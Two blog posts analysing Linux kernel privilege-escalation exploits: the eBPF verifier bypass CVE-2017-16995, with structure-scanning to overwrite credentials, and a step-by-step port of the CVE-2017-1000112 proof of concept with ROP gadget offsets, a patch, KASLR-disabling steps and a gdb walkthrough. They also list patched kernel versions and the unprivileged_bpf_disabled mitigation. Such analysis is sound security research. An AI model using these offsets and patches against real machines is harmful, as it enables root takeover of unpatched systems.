Monday, July 9, 2018

eBPF and Analysis of the get-rekt-linux-hardened.c Exploit for CVE-2017-16995

CVE-2017-16995

"One of the best/worst Linux kernel vulns of all time" - @bleidl




The vulnerability allows for arbitrary read/write access to the linux kernel, bypassing SMEP/SMAP


Bruce Leidl @bleidl
June 4, 2017 https://twitter.com/bleidl/status/871527499984982016

Jann Horn @tehjh
December 4, 2017 - https://bugs.chromium.org/p/project-zero/issues/detail?id=1454&desc=3

https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f

https://lwn.net/Articles/742169/ 

December 23
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c

Vitaly Nikolenko @vnik5287 
March 15, 2018 - https://twitter.com/vnik5287/status/974277953394651137
http://cyseclabs.com/pub/upstream44.c

 

Vulnerability 

It is possible to bypass the bpf verifier (verifier.c), load bpf code, and create a read/write primitive. The root cause of this vulnerability is improper arithmetic/sign-extention in the 'check_alu_op()' function located within verifier.c. The improper arithmetic makes it possible for sign extension to occur in either of the following cases:

BPF_ALU64|BPF_MOV|BPF_K (load 32-bit immediate, sign-extended to 64-bit)

BPF_ALU|BPF_MOV|BPF_K (load 32-bit immediate, zero-padded to 64-bit);

Please see https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f  for specifics. Ultimately, the was patched by correcting the arithmatic in the 'check_alu_op()' function and ensuring sign extension only occurs in the first case "BPF_ALU64|BPF_MOV|BPF_K (load 32-bit immediate, sign-extended to 64-bit)" 

Exploit/POC - get-rekt-linux-hardened.c

The BPF instruction set that bypasses the verify function is:
#define BPF_DISABLE_VERIFIER()                                                       \
        BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF),             /* r2 = (u32)0xFFFFFFFF   */   \
        BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2),   /* if (r2 == -1) {        */   \
        BPF_MOV64_IMM(BPF_REG_0, 0),                      /*   exit(0);             */   \
        BPF_EXIT_INSN()                                   /* }                      */


The bpf instruction set is well documented.
OP parameter
  0 = Read the address for the frame pointer
  1 = Read the address for the sk_buff structure
  2 = Read a user supplied address
  3 = Write a value to a specified address

Using the sendcmd function with the parameters as
sendcmd(op, address, value to write)


Privilege escalation

BFP code is setup to obtain the the pointer to sk_buff. ( OP = 1)
With access to the sk_buff structure, it is possible to find the sock structure using an offset of 0x24

include/linux/skbuff.h

struct sk_buff {
        union {
                struct {
                        /* These two members must be first. */
                        struct sk_buff          *next;
                        struct sk_buff          *prev;

                        union {
                                ktime_t         tstamp;
                                u64             skb_mstamp;
                        };
                };
                struct rb_node  rbnode; /* used in netem & tcp stack */
        };
        struct sock             *sk;     <=========

 

With the address of the sock structure, scan down looking for sk_rcvtimeo by testing for the value 0x7fffffffffffffff .

Check the address 24 bytes above (sk_uid) to determine if contains the UID of the current user. If it does, sk_rcvtimeo has been found and the address for sk_peercred will be 8 bytes above it

struct sock {
        ...snipped...
        u16                     sk_gso_max_segs;
        unsigned long           sk_lingertime;
        struct proto            *sk_prot_creator;
        rwlock_t                sk_callback_lock;
        int                     sk_err,
                                sk_err_soft;
        u32                     sk_ack_backlog;
        u32                     sk_max_ack_backlog;
        kuid_t                  sk_uid;  
              <======= test for current UID            
        struct pid              *sk_peer_pid;
        const struct cred       *sk_peer_cred;
        long                    sk_rcvtimeo;
           <======= scan to look for 0x7fffffffffffffff
        ktime_t                 sk_stamp;
        u16                     sk_tsflags;
        u8                      sk_shutdown;

        ...snipped...
}

sk_peer_cred contains the address to the credential structure that can be overwritten to escalate privileges

 

Exploit/POC - Adapting @bleidl's exploit to include 4.4.x kernels

https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c

I have tested it on the following kernels
Ubuntu 16.04
  4.4.0-31-generic
  4.4.0-62-generic
  4.4.0-81-generic
  4.4.0-116-generic
  4.8.0-58-generic
  4.10.0.42-generic
  4.13.0-21-generic


Fedora 27
  4.13.9-300


The issue with the 4.4.x kernels in Ubuntu is the sock structure does not have the field @sk_uid, which contains the user id of the owner. 

4.4: /usr/src/linux-source-4.4.0/linux-source-4.4.0/include/net/sock.h
struct sock {
        ...snipped...
        u16                     sk_gso_max_segs;
        int                     sk_rcvlowat;
        unsigned long           sk_lingertime;
        struct sk_buff_head     sk_error_queue;
        struct proto            *sk_prot_creator;
        rwlock_t                sk_callback_lock;
        int                     sk_err,
                                sk_err_soft;
        u32                     sk_ack_backlog;
        u32                     sk_max_ack_backlog;
        __u32                   sk_priority;
#if IS_ENABLED(CONFIG_CGROUP_NET_PRIO)
        __u32                   sk_cgrp_prioidx;
#endif
        struct pid              *sk_peer_pid;
        const struct cred       *sk_peer_cred;
        long                    sk_rcvtimeo;           <======= scan to look for 0x7
fffffffffffffff
        long                    sk_sndtimeo;
        struct timer_list       sk_timer;

        ...snipped...
}

4.13 /usr/src/linux-source-4.13.0/linux-source-4.13.0/include/net/sock.h
struct sock {
        ...snipped...
        u16                     sk_gso_max_segs;
        unsigned long           sk_lingertime;
        struct proto            *sk_prot_creator;
        rwlock_t                sk_callback_lock;
        int                     sk_err,
                                sk_err_soft;
        u32                     sk_ack_backlog;
        u32                     sk_max_ack_backlog;
        kuid_t                  sk_uid;  
         <======= test for current UID (Missing in 4.4)            
        struct pid              *sk_peer_pid;
        const struct cred       *sk_peer_cred;
        long                    sk_rcvtimeo;
      <======= scan to look for 0x7fffffffffffffff
        ktime_t                 sk_stamp;
        u16                     sk_tsflags;
        u8                      sk_shutdown;

        ...snipped...
}


Because this vulnerability allows for arbitrary r/w access, we can scan through the sock structure and test addresses to see if they contain the correct cred structure.

Using the same logic, the code scans through the sock structure, looking for 0x7fffffffffffffff.
Once it finds the value, it tests the address 8 bytes above it:
1) Is it in kernel memory (address > physoffset (0xffff880000000000))
2) Evaluates the address as a cred structure and test to see if it contains the current UID.

struct sock {
        ...snipped...
        u16                     sk_gso_max_segs;
        int                     sk_rcvlowat;
        unsigned long           sk_lingertime;
        struct sk_buff_head     sk_error_queue;
        struct proto            *sk_prot_creator;
        rwlock_t                sk_callback_lock;
        int                     sk_err,
                                sk_err_soft;
        u32                     sk_ack_backlog;
        u32                     sk_max_ack_backlog;
        __u32                   sk_priority;
#if IS_ENABLED(CONFIG_CGROUP_NET_PRIO)
        __u32                   sk_cgrp_prioidx;
#endif
        struct pid              *sk_peer_pid;
        const struct cred       *sk_peer_cred;         <======= Evaluate this address
        long                    sk_rcvtimeo;           <======= scan to look for 0x7
fffffffffffffff
        long                    sk_sndtimeo;
        struct timer_list       sk_timer;

        ...snipped...
}

struct cred {
        atomic_t        usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
        atomic_t        subscribers;    /* number of processes subscribed */
        void            *put_addr;
        unsigned        magic;
#define CRED_MAGIC      0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
        kuid_t          uid;            /* real UID of the task */ <== Evaluate if this equals current UID
        kgid_t          gid;            /* real GID of the task */
        kuid_t          suid;           /* saved UID of the task */
        kgid_t          sgid;           /* saved GID of the task */
        kuid_t          euid;           /* effective UID of the task */
        kgid_t          egid;           /* effective GID of the task */
        kuid_t          fsuid;          /* UID for VFS ops */
        kgid_t          fsgid;          /* GID for VFS ops */
        unsigned        securebits;     /* SUID-less security management */
        kernel_cap_t    cap_inheritable; /* caps our children can inherit */
        kernel_cap_t    cap_permitted;  /* caps we're permitted */
        kernel_cap_t    cap_effective;  /* caps we can actually use */
        kernel_cap_t    cap_bset;       /* capability bounding set */
        kernel_cap_t    cap_ambient;    /* Ambient capability set */

 

As before sk_peer_cred contains the address to the credential structure that can be overwritten to escalate privileges

 

Exploit/POC - Upstream.c (4.4.x kernels)

Dangokyo has a good description of the vulnerability, exploit, and privilege escalation technique.

Upstream.c from @vnik5287 uses a different technique for privilege escalation.

In the 4.4 kernel, the thread_info struct is available at the top of the stack

linux-source-4.4.0_4.4.0-116.140_all.deb
/usr/src/linux-source-4.4.0/linux-source-4.4.0/arch/x86/include/asm/thread_info.h
struct thread_info {
        struct task_struct      *task;          /* main task structure */ <==========
        __u32                   flags;          /* low level flags */
        __u32                   status;         /* thread synchronous flags */
        __u32                   cpu;            /* current CPU */
        mm_segment_t            addr_limit;
        unsigned int            sig_on_uaccess_error:1;
        unsigned int            uaccess_err:1;  /* uaccess failed */
};


In later versions, the task_struct has been removed.

linux-source-4.13.0_4.13.0-21.24_all.deb
/usr/src/linux-source-4.13.0/linux-source-4.13.0/arch/x86/include/asm/thread_info.h
struct thread_info {
        unsigned long           flags;          /* low level flags */
};


Privilege Escalation

Linux kernel stacks start with a struct thread_info that look like this:

 * struct thread_info {
 *  struct task_struct *task;   // <--- pointer to current task_struct

The task structure contains lots of fields, but the one we are most
interested in are:

 * struct task_struct { 
 *   // ...
 *   const struct cred *real_cred;  <========

Struct cred contains:

 * struct cred {
 *   // ...
 *   uid_t           uid;
 *   gid_t           gid;
 *   uid_t           suid;
 *   gid_t           sgid;
 *   uid_t           euid;
 *   gid_t           egid;
 *   uid_t           fsuid;
 *   gid_t           fsgid;
 *   unsigned        securebits;
 *   kernel_cap_t    cap_inheritable;
 *   kernel_cap_t    cap_permitted;
 *   kernel_cap_t    cap_effective;

real_cred contains the address to the credential structure that can be overwritten to escalate privileges

 

Mitigations

Kernel Patch level
Ubuntu
https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html

4.4.x: Fixed 4.4.0-119.143
4.8.x: vulnerable up through 4.8.0-58-generic
4.10.x: vulnerable up through 4.10.0-42-generic
4.13.x: Fixed 4.13.0-25-generic

Redhat
https://bugzilla.redhat.com/show_bug.cgi?id=1528518
RHEL 5,6,7 not affected

Fedora: Fixed kernel-4.14.11 which pushed to stable on January 4, 2018

echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled
sysctl kernel.unprivileged_bpf_disabled=1

References/Resources

eBPF

https://www.kernel.org/doc/Documentation/networking/filter.txt
https://www.kernel.org/doc/Documentation/bpf/bpf_design_QA.txt
http://www.brendangregg.com/ebpf.html 
https://github.com/iovisor/bcc 
https://qmonnet.github.io/whirl-offload/2016/09/01/dive-into-bpf/ 
https://ferrisellis.com/posts/ebpf_past_present_future/
https://ferrisellis.com/posts/ebpf_syscall_and_maps/
https://suchakra.wordpress.com/2015/05/18/bpf-internals-i/
https://suchakra.wordpress.com/2015/08/12/bpf-internals-ii/

CVE-2017-16995

https://github.com/rapid7/metasploit-framework/blob/691d8f2c413bbda942fd49afe45d79771a5d1b10/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb
http://www.openwall.com/lists/oss-security/2017/12/21/2
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c
http://cyseclabs.com/pub/upstream44.c
https://www.exploit-db.com/exploits/44298/
https://github.com/dangokyo/CVE_2017_16995 - nice disassembler.c to better visualize bpf code
https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor
https://www.securityfocus.com/bid/102288
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16995
https://nvd.nist.gov/vuln/detail/CVE-2017-16995

 

Thursday, December 21, 2017

Adapting the POC for CVE-2017-1000112 to Other Kernels

This post will show how to adapt Andrey's @andreyknvl proof of concent, https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c for CVE-2017-1000112 to other kernels. I will use Ubuntu's Xenial (16.04) kernel version 4.4.0-81-generic in this example

http://seclists.org/oss-sec/2017/q3/277
The timeline for discovery and patch:
2017.08.03 - Bug reported to security () kernel org
2017.08.04 - Bug reported to linux-distros@
2017.08.10 - Patch submitted to netdev
2017.08.10 - Announcement on oss-security@

Description

Exploitable memory corruption due to UFO to non-UFO path switch. When building a UFO packet with MSG_MORE __ip_append_data() calls ip_ufo_append_data() to append. However in between two send() calls, the append path can be switched from UFO to non-UFO one, which leads to a memory corruption. In case UFO packet lengths exceeds MTU, copy =     maxfraglen - skb->len becomes negative on the non-UFO path and the branch to allocate new skb is taken. This triggers fragmentation and computation of fraggap = skb_prev->len - maxfraglen. Fraggap can exceed MTU, causing copy = datalen - transhdrlen - fraggap to become negative. Subsequently skb_copy_and_csum_bits() writes out-of-bounds. A similar issue is present in IPv6 code. The bug was introduced in e89e9cf539a2 ("[IPv4/IPv6]: UFO Scatter-gather approach") on Oct 18 2005.

Fix

https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa



Add Offsets for Ubuntu 16.04 with Kernel 4.4.0-81-generic


The proof of concept has a nice framework to plugin the address offsets for commit_creds, prepare_kernel_cred, and the gadgets for the ROP chain for different kernels
Looking at the kernel_info structures, we will update this section with our target kernel addresses.




Find Kernel Functions


To determine the address offsets for commit_creds, prepare_kernel_cred, and the read and write functions for CR4 to disable SMEP.

Create a target VM based on Ubuntu 16.04.2

I am using VMWare in this example.
http://old-releases.ubuntu.com/releases/16.04.2/ubuntu-16.04.2-server-amd64.img

Since this is a target VM that will be used later in debugging step-through, update the vmx configuration file to enable the kernel debug stub

debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"


Install the 4.4.0-81-generic kernel

sudo apt install linux-image-4.4.0-81-generic

Once the kernel is installed, reboot and find the addresses for the kernel functions, commit_creds, prepare_kernel_cred, native_read_cr4_safe, and native_write_cr4

sudo grep commit_creds /proc/kallsyms
sudo grep prepare_kernel_cred /proc/kallsyms 
sudo grep native_read_cr4_safe /proc/kallsyms
sudo grep native_write_cr4 /proc/kallsyms














Find ROP Gadgets

In this example I am using a different VM that will be used to debug the target machine above.

Once a new VM is created, we can use extract-vmlinux: https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux to extract an uncompressed version of the linux kernel or download the kernel with debug symbols. I am using the kernel with debug symbols as it will be used during walk through of the POC.

To obtain the kernel with debug symbols

echo "deb http://ddebs.ubuntu.com $(lsb_release -cs) main restricted universe multiverse
deb http://ddebs.ubuntu.com $(lsb_release -cs)-updates main restricted universe multiverse
deb http://ddebs.ubuntu.com $(lsb_release -cs)-proposed main restricted universe multiverse" | \
sudo tee -a /etc/apt/sources.list.d/ddebs.list


sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 428D7C01 C8CAB6595FDFF622

apt install linux-image-4.4.0-81-generic-dbgsym


The kernel will be installed at /usr/lib/debug/boot/vmlinux-4.4.0-81-generic





Install and run ROPgadget against the target kernel

I will use ropgadget: https://github.com/JonathanSalwan/ROPgadget, to find the gadgets in the kernel.


apt install python-pip python-capstone
pip install ropgadget
ROPgadget --binary /usr/lib/debug/boot/vmlinux-4.4.0-81-generic > ~/rg-4.4.0-81-generic

Now that we have a list of possible gadgets, we need to find the addresses to match the rop chain from the POC

struct kernel_info {
        const char* distro;
        const char* version;
        uint64_t commit_creds;
                sudo grep commit_creds /proc/kallsyms
        0xffffffff810a2800 T commit_creds

               
        uint64_t prepare_kernel_cred;
                sudo grep prepare_kernel_cred /proc/kallsyms
        0xffffffff810a2bf0 T prepare_kernel_cred

   
        uint64_t xchg_eax_esp_ret;
                grep ': xchg eax, esp ; ret' rg-4.4.0-81-generic
        0xffffffff8100008a : xchg eax, esp ; ret


        uint64_t pop_rdi_ret;
                grep ': pop rdi ; ret' rg-4.4.0-81-generic
        0xffffffff813eb4ad : pop rdi ; ret


        uint64_t mov_dword_ptr_rdi_eax_ret;
                grep ': mov dword ptr \[rdi\], eax ; ret' rg-4.4.0-81-generic
        0xffffffff81112697 : mov dword ptr [rdi], eax ; ret

               
        uint64_t mov_rax_cr4_ret;
                sudo grep cr4 /proc/kallsyms
        0xffffffff8101b9c0 t native_read_cr4_safe

   
        uint64_t neg_rax_ret;
                grep ': neg rax ; ret' rg-4.4.0-81-generic
        0xffffffff8140341a : neg rax ; ret

               
        uint64_t pop_rcx_ret;
                grep ': pop rcx ; ret' rg-4.4.0-81-generic
        0xffffffff8101de6c : pop rcx ; ret

               
        uint64_t or_rax_rcx_ret;
                grep ': or rax, rcx ; ret' rg-4.4.0-81-generic
        0xffffffff8107a453 : or rax, rcx ; re
t                 

        uint64_t xchg_eax_edi_ret;
                grep ': xchg eax, edi ; ret' rg-4.4.0-81-generic
        0xffffffff81125787 : xchg eax, edi ; r
et
           
        uint64_t mov_cr4_rdi_ret;
                sudo grep cr4 /proc/kallsyms
        0xffffffff81064580 t native_write_cr4

               
        uint64_t jmp_rcx;
                grep ': jmp rcx' rg-4.4.0-81-generic
        0xffffffff81049ed0 : jmp rcx

};


KASLR


The 4.4.0-81 kernel does not have KASLR enabled, but to conform to the existing file, we will use offsets. For each address subtract 0xffffffff81000000, the base address of the kernel.

To find the base address of the kernel
sudo grep text /proc/kallsyms
ffffffff81000000 T _text


For example, to determine the offset of commit_creds
0xffffffff810a2800 - 0xffffffff81000000 = 0xa2800


Note: If you are using a kernel that does have KASLR enabled (https://unix.stackexchange.com/questions/397939/turning-off-kaslr-to-debug-linux-kernel-using-qemu-and-gdb)
$ grep GRUB_CMDLINE_LINUX_DEFAULT /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet"
$ sudo perl -i -pe 'm/quiet/ and s//quiet nokaslr/' /etc/default/grub
$ grep quiet /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet nokaslr"
$ sudo update-grub


Updating the original proof of concept file


We need to update the POC with the addresses and to expect a 4.4.0 kernel with Ubuntu 16.04 (xenial).


{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },


unsigned long get_kernel_addr() {
        char* syslog;
        int size;
        mmap_syslog(&syslog, &size);

        if (strcmp("trusty", kernels[kernel].distro) == 0 &&
            strncmp("4.4.0", kernels[kernel].version, 5) == 0)
                return get_kernel_addr_trusty(syslog, size);
        if (strcmp("xenial", kernels[kernel].distro) == 0 &&
            (strncmp("4.4.0", kernels[kernel].version, 5) == 0) ||
            (strncmp("4.8.0", kernels[kernel].version, 5) == 0))
                return get_kernel_addr_xenial(syslog, size);

        printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
        exit(EXIT_FAILURE);
}



Patch file

4.4.0-81.patch
--- poc.c       2017-12-21 11:49:17.758164986 -0600
+++ updated.c   2017-12-20 16:21:06.187852954 -0600
@@ -117,6 +117,7 @@
        { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
        { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
        { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
+       { "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
        { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
        { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
        { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
@@ -326,7 +327,8 @@
            strncmp("4.4.0", kernels[kernel].version, 5) == 0)
                return get_kernel_addr_trusty(syslog, size);
        if (strcmp("xenial", kernels[kernel].distro) == 0 &&
-           strncmp("4.8.0", kernels[kernel].version, 5) == 0)
+           (strncmp("4.4.0", kernels[kernel].version, 5) == 0) ||
+            (strncmp("4.8.0", kernels[kernel].version, 5) == 0))
                return get_kernel_addr_xenial(syslog, size);

        printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");



Apply the patch

wget https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c

patch < 4.4.0.81.patch

gcc poc.c -o updatedpoc






 

Kernel Debugging

Here is a quick setup using GDB to step through the exploit.
From above, we will be using the target machine to run the exploit and a host machine to view what is happening.

On the host machine, we have already downloaded the kernel with debug symbols, now lets download the kernel source code for completeness.

wget http://archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-source-4.4.0_4.4.0-81.104_all.deb

dpkg -i linux-source-4.4.0_4.4.0-81.104_all.deb

The source is installed at /usr/src/linux-source-4.4.0-81 as a compressed file: 
/usr/src/linux-source-4.4.0/linux-source-4.4.0.tar.bz2

After extracting the source: tar xvjf linux-source-4.4.0.tar.bz2, it is located at:
/usr/src/linux-source-4.4.0/linux-source-4.4.0


GDB

sudo apt install gdb

Install pwndbg: https://github.com/pwndbg/pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh 


Start GDB, configure the source path, and connect to the target machine

gdb /usr/lib/debug/boot/vmlinux-4.4.0-81-generic

set substitute-path /build/linux-cs3yMe/linux-4.4.0/ /usr/src/linux-source-4.4.0/linux-source-4.4.0/

target remote 192.168.81.1:8864







Breakpoints used:

break __ip_append_data
break __ip_flush_pending_frames
break skb_release_all

The first hit on __ip_append_data takes the path to ip_ufo_append_data and the second hit uses a non ufo path which introduces the memory corruption.














Second hit on __ip_append_data
















Enable the breakpoint on __ip_flush_pending_frames















Enable the breakpoint on skb_release_all





















On the break at skb_release_all, we can see where the memory corruption has happened and where the skb_shared_info->destructor_arg is called into usermode setting up the rop chain. the skb address (0xffff880039161400) is listed above on the call to skb_release_all:













In skb_release_data, the dereference to the start of the ROP chain is located at address: 0xffffffff81720a12.

At address 0xffffffff81720a1f starts the rop chain.



And finally the ROP chain in memory









Linux Distributions

Requirements 

 The bug can be exploited by an unprivileged user if:

1. User can set up an interface with UFO enabled and MTU < 65535 or such interface is already present in the system. The former is possible from inside a user namespace.

2. User can disable the NETIF_F_UFO interface feature or set the SO_NO_CHECK socket option. The former requires CAP_NET_ADMIN. The latter is only possible after 40ba330227ad ("udp: disallow UFO for sockets with SO_NO_CHECK option") from Jan 11 2016.

Both are possible from inside a user namespace. In particular, the bug can be exploited by an unprivileged user if unprivileged user namespaces are available.

Checking the status of udp-framentation-offload
Loopback

ethtool -k lo |grep udp
udp-fragmentation-offload: on


ens33

ethtool -k ens33 |grep udp
udp-fragmentation-offload: off [fixed]

Ubuntu

Ubuntu, by default, allows for user namespaces
 
https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-1000112.html

Package
Source: linux (LP Ubuntu Debian)
Upstream:    released (4.13~rc5)
Ubuntu 12.04 ESM (Precise Pangolin): ignored (no user namespace support)
Ubuntu 14.04 LTS (Trusty Tahr):    released (3.13.0-128.177)
Ubuntu 16.04 LTS (Xenial Xerus): released (4.4.0-91.114)
Ubuntu 17.04 (Zesty Zapus): released (4.10.0-32.36)
Ubuntu 17.10 (Artful Aardvark):    not-affected (4.12.0-11.12)
Ubuntu 18.04 LTS (Bionic Beaver): not-affected (4.13.0-16.19) 

RHEL/CentOS

Centos kernel's are vulnerable but do not allow for usernames spaces by default
https://access.redhat.com/security/cve/CVE-2017-1000112

CentOS 7 - https://access.redhat.com/errata/RHSA-2017:2930
kernel-3.10.0-693.5.2.el7.x86_64.rpm

CentOS 6 - https://access.redhat.com/errata/RHSA-2017:3200
kernel-2.6.32-696.16.1.el6.x86_64.rpm

I successfully tested on CentOS 7, kernel 3.10.0-693.el7.x86_64, but had to artificially lower the mtu on the loopback adapter:

/sbin/ifconfig lo mtu 1500

Offsets:
{ "cent7", "3.10.0-693.el7.x86_64", 0xb7670, 0xb7980, 0x8a, 0x39337a, 0x650ca, 0x19bf0, 0x32d41a, 0x11e843, 0x7c6b3, 0x4b8f7, 0x63210, 0x6bab33 }


References